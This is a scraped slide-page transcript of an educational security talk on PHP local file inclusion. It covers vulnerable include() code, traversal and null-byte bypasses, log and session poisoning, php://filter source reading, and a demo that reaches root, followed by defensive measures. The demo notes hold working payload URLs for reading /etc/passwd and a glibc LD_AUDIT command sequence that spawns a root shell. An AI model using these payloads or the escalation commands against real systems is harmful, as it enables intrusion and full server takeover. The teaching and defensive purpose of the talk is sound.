Types, exploitation, and prevention

Slides:



Advertisements
Similar presentations
PHP Form and File Handling
Advertisements

Hossain Shahriar Mohammad Zulkernine. One of the worst vulnerabilities in web applications It involves the generation of dynamic HTML contents with invalidated.
Web Security Never, ever, trust user inputs Supankar.
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
Powerpoint Templates Page 1 Powerpoint Templates Server Side Scripting PHP.
CookiesPHPMay-2007 : [‹#›] Maintaining State in PHP Part I - Cookies.
UFCE8V-20-3 Information Systems Development 3 (SHAPE HK)
PHP Hypertext Preprocessor Information Systems 337 Prof. Harry Plantinga.
Revealing the Secrets: Source Code Disclosure, Techniques, and Impacts.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
WebGoat & WebScarab “What is computer security for $1000 Alex?”
Python and Web Programming
Sara SartoliAkbar Siami Namin NSF-SFS workshop July 14-18, 2014.
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
1 Homework / Exam Exam 3 –Solutions Posted –Questions? HW8 due next class Final Exam –See posted schedule Websites on UNIX systems Course Evaluations.
PHP Security.
Introduction to PHP and Server Side Technology. Slide 2 PHP History Created in 1995 PHP 5.0 is the current version It’s been around since 2004.
1 Chapter 6 – Creating Web Forms and Validating User Input spring into PHP 5 by Steven Holzner Slides were developed by Jack Davis College of Information.
Reading Data in Web Pages tMyn1 Reading Data in Web Pages A very common application of PHP is to have an HTML form gather information from a website's.
CHAPTER 12 COOKIES AND SESSIONS. INTRO HTTP is a stateless technology Each page rendered by a browser is unrelated to other pages – even if they are from.
Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
1 PHP and MySQL. 2 Topics  Querying Data with PHP  User-Driven Querying  Writing Data with PHP and MySQL PHP and MySQL.
©2008 Gotham Digital Science Secure Parameter Filter (SPF) (AKA Protecting Vulnerable Applications with IIS7) Justin Clarke, Andrew Carey Nairn.
OSI and TCP/IP Models And Some Vulnerabilities AfNOG th May 2011 – 10 th June 2011 Tanzania By Marcus K. G. Adomey.
Attacking Applications: SQL Injection & Buffer Overflows.
10/13/2015 ©2006 Scott Miller, University of Victoria 1 Content Serving Static vs. Dynamic Content Web Servers Server Flow Control Rev. 2.0.
PHP - Part 2. More operators... Arithmetic and Assignment Operators e.g., using + and =  $IntA=5; $intB=8; $intC=$intA+$intB; //intC is 13  // Same.
Lecture 8 – Cookies & Sessions SFDV3011 – Advanced Web Development 1.
Top Five Web Application Vulnerabilities Vebjørn Moen Selmersenteret/NoWires.org Norsk Kryptoseminar Trondheim
PHP2010/11 : [‹#›] PHP Security. PHP2010/11 : [‹#›] Two Golden Rules 1.FILTER external input Obvious.. $_POST, $_COOKIE, etc. Less obvious.. $_SERVER.
1 Chapter 9 – Cookies, Sessions, FTP, and More spring into PHP 5 by Steven Holzner Slides were developed by Jack Davis College of Information Science.
Prof Frankl, Spring 2008CS Polytechnic University 1 Overview of Web database applications with PHP.
Variables and ConstantstMyn1 Variables and Constants PHP stands for: ”PHP: Hypertext Preprocessor”, and it is a server-side programming language. Special.
CSC 2720 Building Web Applications Server-side Scripting with PHP.
CS 4720 Dynamic Web Applications CS 4720 – Web & Mobile Systems.
Crash Course in Web Hacking
Cookies and Sessions IDIA 618 Fall 2014 Bridget M. Blodgett.
Copyright Security-Assessment.com 2004 Security-Assessment.com Advances in Web Application Hacking by Nick von Dadelszen.
ASP. What is ASP? ASP stands for Active Server Pages ASP is a Microsoft Technology ASP is a program that runs inside IIS IIS stands for Internet Information.
הרצאה 4. עיבוד של דף אינטרנט דינמי מתוך Murach’s PHP and MySQL by Joel Murach and Ray Harris.  דף אינטרנט דינמי משתנה עפ " י הרצת קוד על השרת, יכול להשתנות.
WEB SECURITY WEEK 2 Computer Security Group University of Texas at Dallas.
PHP Error Handling & Reporting. Error Handling Never allow a default error message or error number returned by the mysql_error() and mysql_errno() functions.
Security Issues with PHP  PHP installation  PHP programming Willa Zhu & Eugene Burger.
8 Chapter Eight Server-side Scripts. 8 Chapter Objectives Create dynamic Web pages that retrieve and display database data using Active Server Pages Process.
Since you’ll need a place for the user to enter a search query. Every form must have these basic components: – The submission type defined with the method.
PHP Security Ryan Dunn Jason Pack. Outline PHP Overview PHP Overview Common Security Issues Common Security Issues Advanced Security Issues Advanced Security.
ITM © Port,Kazman 1 ITM 352 Cookies. ITM © Port,Kazman 2 Problem… r How do you identify a particular user when they visit your site (or any.
1 PHP HTTP After this lecture, you should be able to know: How to create and process web forms with HTML and PHP. How to create and process web forms with.
NMD202 Web Scripting Week2. Web site
Dr. Abdullah Almutairi Spring PHP is a server scripting language, and a powerful tool for making dynamic and interactive Web pages. PHP is a widely-used,
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
CGS 3066: Web Programming and Design Spring 2016 PHP.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
PHP: Further Skills 02 By Trevor Adams. Topics covered Persistence What is it? Why do we need it? Basic Persistence Hidden form fields Query strings Cookies.
Radoslav Georgiev Telerik Corporation
Web Programming with PHP (3) Superglobals, Form & File processing.
Building Secure ColdFusion Applications
Introduction to Dynamic Web Programming
Play Framework: Introduction
DBW - PHP DBW2017.
Lecture 2 - SQL Injection
PHP and Forms.
Lecture 5: Functions and Parameters
PHP Forms and Databases.
PHP an introduction.
Presentation transcript:

Types, exploitation, and prevention Local File Inclusion Types, exploitation, and prevention

The following presentation is for Educational Purposes Only We do not condone the use of the contents of this talk for nefarious or illegal purposes.

PHP Basics What is PHP? Hypertext Preprocessor What does that really mean? Code is executed server side at runtime HTML is the output Can be configured without the use of .php urls

PHP Basics Example PHP script: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Example</title> </head> <body> <?php $msg = “Hi, I’m a PHP script!”; echo $msg; ?> </body> </html> Point out the php block within the html, variable creation and use. Semicolons.

PHP Include What is the PHP include function? The include statement includes and evaluates the specified file. http://php.net/manual/en/function.include.php

PHP Include/Eval What is the PHP include function? The include statement includes and evaluates the specified file. Evaluates means executes the file as PHP code. This is important to understand for later. Similar to eval function eval — Evaluate a string as PHP code http://php.net/manual/en/function.eval.php

PHP Include/ Eval Example: <?php //include html doctype,header,css,etc include(“../header.php”); echo “this text should be in the body”; //close body tags and html, with logos require(“../footer.php”); ?> Sample include , header, footer .php files /var/www/html/samples/ Show in editor Require same as include

PHP Superglobals Several predefined variables in PHP are "superglobals", which means they are available in all scopes throughout a script. There is no need to do global $variable; to access them within functions or methods. These superglobal variables are: $GLOBALS $_SERVER $_GET $_POST $_FILES $_COOKIE $_SESSION $_REQUEST $_ENV

PHP Request Parameters $_GET An associative array of variables passed to the current script via the URL parameters. http://www.google.com/search?q=banana Requests made in this manner are typically logged intact with url query $_POST An associative array of variables passed to the current script via the HTTP POST method. Requests made in this manner are logged, but only that a POST occurs to the script, not the included parameters. (usually) Explain differences between get and post

PHP Request Parameters An associative array that by default contains the contents of $_GET, $_POST and $_COOKIE. Using the $_REQUEST[“variable”] syntax the application does not care whether the variable is filled from GET or POST. Using the $_GET or $_POST arrays will only be filled if the variables are posted or retrieved via GET or POST respectively. Choose carefully based on the purpose of the app Demo upload.php and form.php

Local File Inclusion Local file inclusion is when a php app is written to include files on the local filesytem. (Remember include() from before?) LFI exploits LFI exploitation is typically due to poor user input sanitization.

On the subject of User Input… Just listen to Agent Mulder, and Trust NO ONE

Poorly designed LFI 1: <?php include($_REQUEST[“file”]); ?> 2: if isset($_REQUEST[“file”]) { $file = $_REQUEST[“file”]; include(“$file.php”); } Explain string concatenation on second example Example 1 would error if file was empty, really bad no validation at all Example 2 would not error if empty, still pretty bad because of null byte Demo scripts

Better LFI design 3: <?php if isset($_GET[“file”]) { //remove any attempts at directory traversal $file = str_replace(‘../’, ‘’, $_GET[‘file’]); include(“$file.php”); } ?> Explain string concatenation on second example Example 1 would error if file was empty Example 2 would not error if empty, Demo scripts

LFI detection bypasses Even our “Better” design has flaws. Bypassed by encoding characters into hexadecimal http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2 Fpasswd “.php” can be stripped off the request via Poison null byte %00 http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2 Fpasswd%00

Most secure LFI - Whitelisting Show whitelisted script /var/www/html/samples/lfi/example4.php Most secure LFI - Whitelisting Allow user input, but only from select choices Protect your code!

What now? So, we can execute local files as php code, what can this get us? If we can get files uploaded to the server, even in /tmp, we can include them as executable php Can you think of typical ways to get files on a system? Hidden inside a jpg file uploaded as your avatar Apache logfiles

Typical Apache Log file Green = source IP address Yellow = Requested URL and GET Parameters Pink = HTTP Server return code Blue = User agent of browser

LFI Exploit- Access Log Include apache Access Log Via telnet HTTP request Via curl/wget Using a regular browser will likely not work as the browser makes automatic substitutions before actually making the request. Via modifying User agent to contain PHP

Log Injection 3 stage attack Seed logfile with appropriate PHP code Locate logfile on system Include logfile to execute PHP code

LFI Exploit – PHP Input Execute PHP code using the php://input file and posting PHP code/commands Hackbar Firefox extension makes this very easy https://addons.mozilla.org/en-us/firefox/addon/hackbar/

So easy we almost didn’t need a talk… 

LFI Exploit - /proc/self/environ Include /proc/self/environ If apache has rights to view, including will list current processes, including things like the HTTP_USER_AGENT If you have previously modified your useragent to contain php code (say “<?phpinfo();?>” instead of “Mozilla/5.0”) it will execute as php code when environ is executed. Don’t run into this one very often, most systems do not allow apache to have read permissions to environ

LFI Exploit – PHP Session Include your php session file Determine your sessionid from browser cookies The trick to this one is identifying where your session file is stored and if the admin has configured unique settings may prove difficult. Try to include in the normal session storage locations /tmp/sess_mysessionid%00 /var/lib/php5/sess_mysessionid%00

LFI Exploit – Allowed Uploads Some websites allow users to upload files as part of the use of the app. Typically an avatar or picture upload. Edit an image file, and place plaintext php code somewhere in the middle of the image file. The image should still pass filetype validation due to the appropriate header. Include the picture using the LFI and voila. http://demoip/samples/lfi/php.gif

Gibson Powering Up… Demo time… Hack the planet! Proceed with demo, revert to slides when appropriate start with some php basics talk about php request parameters and how they are used "fruit of the poisoned tree" now, let's dig in show index.php page ask if anyone thinks it is an issue ( move on to step by step working demo ) approach as an external view, no inside knowledge, complete pwn including privilege escalation we found a weird website that our scanner says is probably vulnerable to lfi lets manually investigate view 404 page to see website banner info, note down for later try to grab /etc/passwd via directory recursion http://172.30.0.58/index.php?news=../../../../../../../../etc/passwd hmm, isn't working... let's take a look at the source code of index.php using our lfi http://172.30.0.58/index.php?news=php://filter/convert.base64-encode/resource=index base64 decode oh hai source code... (revisited) aha! they are appending .php, no problem, lets use null byte to bypass the .php http://172.30.0.58/index.php?news=../../../../../../../../etc/passwd%00 oh hai /etc/passwd file... what other goodies can we find? rhn-release / lsb-release (verify os) locate apache logfile (guessing via os version, or using script to check presence of logfile) drop a unique string into access log, and lets look for it once we have located the apache logfile lets start dropping php code into it and include for funzies drop very simple file dropper into /tmp via base64 decode functions via telnet HTTP GET use file dropper to upload more sophisticated php rootkit use php rootkit to escalate to root (use os version, and local privilege escalation vulnerability to gain root ) in this case use http://news.ycombinator.com/item?id=1810291 mkdir /tmp/exploit ln /bin/ping /tmp/exploit/target exec 999< /tmp/exploit/target echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc - rm -rf /tmp/exploit/ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999 Gibson Powering Up… Demo time… Hack the planet!

LFI Exploit – Read Files Read any file on the filesystem Since all included files that contain php are executed upon include we can never read any of the php files, they instead execute. PHP Filters will bypass this.

PHP Filters LFI Use index.php?page=php://filter/read=convert.base64- encode/resource=config This code will base64 the resource “config” (like if it was index.php?page=config, but with base64′d) with that, your code won’t be executed, and you’ll can base64_decode() it after to take the original config.php file. This method won’t need magic quotes but you’ll need to have a PHP Version higher or equal to PHP5.

LFI Reconnaissance Does a folder exist? Simply attempt to directory traverse in and out of the directory. If it exists the include will work. index.php?page=../../../../../../var/www/doiexist/../../../../../etc/passwd%00

LFI -> Root Steps Recon the application / locate LFI injection point Use LFI to gather as much data about the system as you can Drop file upload script into /tmp Use file upload script to add additional files to system Use shell to LPE to root, copy php shell into suitable web directory to use for further exploitation

So, we have many ways to get PHP level access Now it’s time for LPE!

Local Privilege Escalation Now that we have valid PHP / httpd access on the box can we get root? Local privilege escalations are vulnerabilities that allow a non-privileged user to become root. Use user level access to determine system information, version, packages, etc. Head to exploit-db.com (or elsewhere)

Root. It does a body good. Nothing quite like the feel of a freshly popped box

LFI Protections Activate magic quotes Configure open_basedir to only read into the web folder and /tmp Sanitize User input by parsing out ‘/’, ‘.’, and ‘%00’ for starters Remove apache read permissions on access.log Monitor /tmp for file additions (/tmp is read/write to everyone) Use static includes instead of dynamic ones if possible If ($_GET[‘file’] == ‘mypage’){include(‘mypage.php’);};

Questions? Q&A Time

Join us in #exploit206 on freenode Capture the flag, polish your skills, stay up all night! #exploit206 internot CTF writeup http://dl.dropbox.com/u/18949146/Exploit206_HaxMe05_WriteUp_2.pdf

Thanks! Thanks for listening  Get Involved with CTF Challenges #exploit206 on freenode Resources: http://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/ Glibc LPE http://news.ycombinator.com/item?id=1810291 http://zentrixplus.net/blog/lfi-tutorial-phpinput/ www.sh3ll.org for php shells